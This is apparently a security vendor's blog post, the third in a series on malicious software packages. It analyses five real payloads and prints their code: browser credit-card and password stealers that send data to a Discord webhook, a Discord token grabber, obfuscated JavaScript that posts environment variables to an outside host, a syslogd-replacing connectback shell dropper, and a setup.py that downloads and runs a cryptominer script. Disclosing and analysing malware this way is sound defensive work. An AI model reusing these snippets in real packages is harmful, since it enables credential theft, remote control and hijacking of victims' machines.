Common Payloads Attackers Plant in Malicious Software Packages

Malicious Software Packages Series Part 3 of 4

In this third post in our series on Malicious Software Packages, we’ll focus on the aftermath of a successful attack and how the attacker executes payloads to serve their needs through various real-life scenarios.

Before we start, let’s review a few highlights from the second post you might’ve missed:

  • There are common types of infection methods attackers use to spread malicious packages—we’ve mentioned five of them.
  • The infection methods include typosquatting, masquerading, trojan packages, dependency confusion , or namesquatting, and software package hijacking.
  • JFrog’s security researchers illustrated various infection methods discovered in malicious packages—they analyzed and quickly disclosed them to the DevOps community.

Now, let’s get to blog three in the series.

After a successful attack or infection with a malicious package, an attacker would usually like to execute a payload that’ll serve their needs. Most of the common payload types attackers use in malicious packages take advantage of the high distribution of the packages. Although in targeted supply chain attacks a unique payload might be used, usually opportunistic attackers will simply try to utilize, harm, or steal as many resources as possible. In the following examples, we’ll demonstrate this type of malicious payloads and their purpose.

Examples of common payloads attackers use in malicious packages

Here are five real-life scenarios of menacing payloads attackers plant in malicious packages.

Payload Scenario 1: Browser-saved sensitive data stealers

The first payload we analyze is a browser data stealer. This payload steals credit card and passwords from the “Autocomplete” feature in modern browsers. For autocomplete to work, modern browsers save previously typed user information in their databases, such as addresses, passwords, and credit card information. While keeping information is convenient for the user, it is a prime target for malicious software.

In the code snippet below, we can see the payload code of a malicious package called noblesse found by JFrog Security researchers in July 2021. The malware tries to steal credit card information from the Chrome browser by connecting to its internal database and querying for credit card information.

 def cs():
    master_key = master()
    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'
    shutil.copy2(login_db,
                 "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]
            hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")
 

The results are uploaded to an attacker’s Discord Webhook (an easy way to get automated messages and data updates sent to a text channel on a private server).

The same malicious package also tries to steal saved passwords from the Edge browser database:

 login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'
...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)
if username != "" or decrypted_password != "":
	hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

 

Payload Scenario 2: The Discord token stealing payload

The Discord token stealing payload tries to steal a user’s Discord token, which we mentioned in the previous blog in this series. Attackers use these stolen Discord tokens to log into the victim’s Discord account, which can also be used as a proxy for another future attack. The attacker can also use the hacked Discord account to spread malware to other Discord users that trust the hacked account, or when the attacker is lucky enough to come across a premium account, they can sell it and profit from.

Here’s an example from the same malicious package noblesse that we already analyzed, in which its payload not only steals a browser’s sensitive data, but also steals Discord tokens. The payload stealing the tokens is based on the infamous dTGPG (Discord Token Grabber Payload Generator) payload. This is a generator tool that was never released publicly, but the payloads (the individualized token grabbers) are shared publicly, and some examples were also uploaded to Github. The Discord auth token stealer code is extremely simple— it iterates a hardcoded set of paths:

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')

paths = {
    'Discord': roaming + '\\Discord',
    'Discord Canary': roaming + '\\discordcanary',
    'Discord PTB': roaming + '\\discordptb',
    'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
    'Opera': roaming + '\\Opera Software\\Opera Stable',
    'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
    'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

The payload reads all .log and .ldb files under these paths, looks for Discord authentication tokens and uploads them to Discord via a Webhook.

Payload Scenario 3: Environment variables stealer

It’s very interesting and useful for a payload to steal information stored in environment variables. JFrog Security researchers disclosed 11 malicious packages that performed environment variable theft in December 2021. A typosquatting attack spreads most of them. These packages don’t contain any legitimate functionality, but rather contain a small snippet of malicious code, which is possible to understand even when obfuscated:

 function a0_0x2c5d(_0x3c5edd, _0x43388a) {
    const _0x5bc4a6 = a0_0x5bc4();
    return a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {
        _0x2c5dfc = _0x2c5dfc - 0x1bd;
        let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];
        return _0x2f5ef7;
    }, a0_0x2c5d(_0x3c5edd, _0x43388a);
}
req = http['request']({
    'host': ["a5eb7b362adc824ed7d98433d8eae80a", 'm', 'pipedream', "net"]["join"]('.'),
    'path': '/' + (process["env"]["npm_package_name"] || ''),
    'method': "POST"
}), req["write"](Buffer["from"](JSON["stringify"](process['env']))["toString"]("base64")), req["end"]();
 

The malware simply gathers all of the victim processes’ environment variables and POSTs them (as BASE64-encoded strings) to a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net. 

This is a dangerous payload since environment variables are a prime location for keeping secrets that need to be used by the runtime (as they are safer than keeping the secrets in cleartext storage, or passing the secrets via command-line variables).

For example, the AWS CLI supports getting the AWS secret access key via an environment variable:

 $ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2 

The types of machines targeted by these malicious packages, namely developer and CI/CD machines, are very likely to contain such secrets and access keys in the user’s environment.

Payload Scenario 4: The connectback shell

The purpose of the connectback shell payload is to receive remote commands for execution on the victim’s machine. 

In this payload, there are three steps:

  1. Connecting back to the attacker’s server
  2. Receiving commands to execute
  3. Sending back the execution results to the server

JFrog Security researchers detected and disclosed two malicious packages that used a connectback shell payload in February 2022. These two packages masquerade as trojan packages that “hide processes for Python in Linux” through their hide_process main API, but install a connectback shell aimed exclusively at Linux target machines.

When the hide_process API is called, the Python code calls the function release_elf which replaces the  file/usr/sbin/syslogd with an embedded ELF trojan binary:

elf_base32 = b"P5CUYRQCAEAQAAAAAAAAAAAAAABAAPQA..."
elf_path = "/usr/sbin/syslogd"
 
def release_elf(data,elf_path):
	try:
    	elf_data = base64.b32decode(data)
    	if os.path.exists(elf_path):
        	os.remove(elf_path)
    	with open(elf_path,"wb")as f:
        	f.write(elf_data)
    	os.system("chown --reference=/usr/sbin/sysctl "+elf_path)
    	os.system("chmod --reference=/usr/sbin/sysctl "+elf_path)
    	os.system("touch -r /usr/sbin/sysctl "+elf_path)
    	...
 
elf_popen = Popen(elf_path+" -n",shell=True) 

Interestingly, the ELF is embedded in the Python script as a base32 string. This uncommon encoding may have been used for evading automated scanners which don’t expect this encoding.

The dropped ELF is quite small and unobfuscated, and performs the following actions –

  1. Connect to TCP port 80, at “139.162.112.74” or “blog.mysecuritycamera.com” (whichever is available)
  2. Receive command strings and run them using popen
  3. Send back the execution results to the server
v6 = popen(a1, "r");  // a1 = the received shell command string
if ( v6 )
{
	while ( fgets(v5, 4096LL, v6) )
	{
    	v4 = strlen(v5);
    	rc4_encrypt((__int64)v5, v4);  // Uses an internal key "345asdflkasduf"
    	if ( (int)send(v7, v5, v4, 0LL) < 0 )

 

Payload Scenario 5: The cryptominer payload

The cryptominer payload uses the victim’s system resources for mining cryptocurrency, a widespread payload type in malicious packages because of the nature of malicious package attacks. 

Most of the time, malicious packages aren’t used in a targeted attack, but by spreading to as many victims as possible with all the infection methods we mentioned. So using many system resources from many victims is a good idea for a profitable payload such as a cryptocurrency miner.

The following example illustrates the payload of maratlib package, another malicious package we detected last year that spread using a typosquatting attack.

In the code snippet below, you can see that as part of the setup code of this package, it also downloads and executes a remote bash script called aza.sh.

# coding: UTF-8
import sys
...
from setuptools import setup
print(__import__("subprocess").getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh"))
setup(name="maratlib",
      version="0.6",
      description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"), # Obfuscated string
      packages=[],
      author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"), # Obfuscated string
      zip_safe=False)

We can see the code of this bash script, which downloads and executes a known cryptominer called PhoenixMiner, which mines a cryptocurrency called Ubiq:

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz
tar xzf PhoenixMiner_4.2c_Linux.tar.gz
cd PhoenixMiner_4.2c_Linux
chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000 ...

So, now that we’ve talked about the infection methods and payloads used in malicious package attacks, we’ll talk about another main interest attackers have when creating a malicious package: hiding the malicious code. We’ll finally also discuss how to detect malicious packages in real life in the development lifecycle and present several practical techniques for this purpose, for the detection of both known and unknown malicious packages.

Before you go, consider which payloads might affect your DevSecOps and what you can do to protect the ecosystems you love.

Remember, there’s always more to learn. Register for JFrog’s upcoming webinars.